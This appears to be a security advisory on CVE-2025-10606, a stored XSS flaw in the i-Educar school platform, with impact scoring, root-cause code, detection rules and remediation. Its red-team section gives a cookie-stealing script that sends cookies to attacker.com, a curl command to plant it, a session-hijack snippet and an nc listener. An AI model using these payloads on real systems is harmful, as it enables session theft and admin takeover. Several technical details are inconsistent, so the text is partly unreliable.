CVE-2025-10606

Executive Summary

CVE-2025-10606 identifies a stored Cross-Site Scripting (XSS) vulnerability in Portabilis i-Educar, a popular educational management platform used in Brazil. The flaw resides in the /module/Configuracao/ConfiguracaoMovimentoGeral endpoint, where the tipoacao argument is not properly sanitized. An attacker can inject arbitrary JavaScript code, which will be executed in the context of any administrator who views the affected configuration page. This can lead to session hijacking, credential theft, or defacement. The exploit has been publicly released, increasing the risk of widespread attacks. No official patch is currently available, making immediate mitigation measures critical.

Supply Chain & Package Security

This vulnerability is not related to a package manager (NPM, PyPI, Go, Ruby) but is a direct web application flaw in the i-Educar PHP codebase. Organizations using i-Educar should treat this as a high-priority application security issue.

CVSS Breakdown & Threat Level

• CVSS Score: 4.3 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: Required (victim must visit the affected page)
• Scope: Unchanged
• Confidentiality Impact: Low (potential data leakage via XSS)
• Integrity Impact: Low (possible content injection)
• Availability Impact: None

Threat Level: Medium. While the CVSS score is moderate, the public availability of exploit code and the lack of a patch elevate the real-world risk. An attacker can chain this XSS with other vulnerabilities to gain higher privileges.

Deep Dive & Mechanics

The vulnerability is a classic stored XSS in the i-Educar configuration module. The endpoint /module/Configuracao/ConfiguracaoMovimentoGeral accepts a tipoacao parameter via GET or POST. This parameter is used to set a configuration value, but the application fails to sanitize or encode the input before storing it in the database and later rendering it on the page.

Attack Flow:

1. An attacker sends a crafted request to the vulnerable endpoint with a malicious payload in the tipoacao parameter, e.g., <script>alert('XSS')</script>.
2. The application stores this payload in the database without sanitization.
3. When an administrator accesses the configuration page, the stored payload is rendered in the HTML, executing the attacker's script.
4. The script can steal session cookies, perform actions on behalf of the admin, or redirect to a phishing page.

Root Cause: Lack of output encoding and input validation on the tipoacao parameter. The application likely uses echo $_GET['tipoacao'] or similar without htmlspecialchars() or equivalent.

Vulnerable vs. Patched Code

Vulnerable Code (i-Educar <= 2.10):

// In /module/Configuracao/ConfiguracaoMovimentoGeral.php
$tipoacao = $_GET['tipoacao'];
// ... store in database ...
echo "<input type='hidden' name='tipoacao' value='$tipoacao'>";

Patched Code (Hypothetical):

$tipoacao = htmlspecialchars($_GET['tipoacao'], ENT_QUOTES, 'UTF-8');
// ... store in database ...
echo "<input type='hidden' name='tipoacao' value='$tipoacao'>";

The fix requires proper output encoding using htmlspecialchars() or a templating engine that auto-escapes. Additionally, input validation should restrict tipoacao to a whitelist of allowed values (e.g., movimento, geral).

Exploitation & Lab Setup

Red Team

Prerequisites:

• A running instance of i-Educar <= 2.10.
• Network access to the vulnerable endpoint.

Exploit Steps:

1. Identify the target URL: http://target/module/Configuracao/ConfiguracaoMovimentoGeral
2. Craft a malicious payload to steal cookies:

   <script>document.location='http://attacker.com/steal.php?c='+document.cookie</script>
   

3. Send the payload via a GET request:

   curl "http://target/module/Configuracao/ConfiguracaoMovimentoGeral?tipoacao=<script>document.location='http://attacker.com/steal.php?c='+document.cookie</script>"
   

4. Wait for an admin to visit the configuration page. The script will execute and send the admin's cookies to your server.

Advanced Payload (Session Hijacking):

var xhr = new XMLHttpRequest();
xhr.open('POST', '/module/Usuario/UsuarioLogin', true);
xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
xhr.send('login=admin&senha=newpassword');

Blue Team

Detection:

• Monitor web server logs for requests to /module/Configuracao/ConfiguracaoMovimentoGeral with unusual tipoacao parameters containing <script>, onerror, or other HTML/JavaScript constructs.
• Use WAF rules to block requests with tipoacao containing < or > characters.

Lab Setup:

• Deploy a vulnerable i-Educar instance in an isolated Docker container.
• Use a tool like Burp Suite or OWASP ZAP to replay the exploit.
• Set up a listener (e.g., nc -lvnp 80) to capture exfiltrated cookies.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP requests to /module/Configuracao/ConfiguracaoMovimentoGeral with tipoacao containing <script> or onerror attributes.
  • Outbound connections from the i-Educar server to unknown IPs on port 80/443 (data exfiltration).
• File IOCs:
  • Modified entries in the i-Educar database table configuracoes with malicious JavaScript in the tipoacao field.
• Log IOCs:
  • Web server access logs showing tipoacao=%3Cscript%3E (URL-encoded <script>).

Detection Engineering

YARA Rule

rule CVE_2025_10606_XSS_Payload {
    meta:
        description = "Detects XSS payloads targeting CVE-2025-10606 in i-Educar"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-10606"
    strings:
        $xss1 = "tipoacao=" nocase
        $xss2 = "<script>" nocase
        $xss3 = "onerror=" nocase
        $xss4 = "onload=" nocase
    condition:
        all of ($xss*) and filesize < 10KB
}

Sigma Rule

title: CVE-2025-10606 i-Educar XSS Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects HTTP requests with XSS payloads in the tipoacao parameter targeting i-Educar
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains: '/module/Configuracao/ConfiguracaoMovimentoGeral'
        cs-uri-query|contains|all:
            - 'tipoacao='
            - '<script'
    condition: selection
falsepositives:
    - Legitimate use of script tags in configuration (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-10606 i-Educar XSS Attempt"; flow:to_server; content:"/module/Configuracao/ConfiguracaoMovimentoGeral"; http_uri; content:"tipoacao="; http_uri; pcre:"/tipoacao=.*<script/Ri"; classtype:web-application-attack; sid:10000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Input Validation: Implement a whitelist for the tipoacao parameter. Only allow predefined values (e.g., movimento, geral).
2. Output Encoding: Apply htmlspecialchars() with ENT_QUOTES and UTF-8 encoding before rendering any user input in HTML.
3. WAF Rules: Deploy a Web Application Firewall (e.g., ModSecurity) with rules to block XSS patterns in the tipoacao parameter.
4. Access Control: Restrict access to the configuration module to trusted IPs or require additional authentication.

Long-Term Fix:

• Upgrade to a patched version of i-Educar once released by Portabilis.
• Conduct a full security audit of the application, focusing on input handling and output encoding.

Workaround:

• If patching is not possible, disable the /module/Configuracao/ConfiguracaoMovimentoGeral endpoint via .htaccess or Nginx configuration:

  <LocationMatch "/module/Configuracao/ConfiguracaoMovimentoGeral">
      Deny from all
  </LocationMatch>
  

Valters IT
Securing Digital Frontiers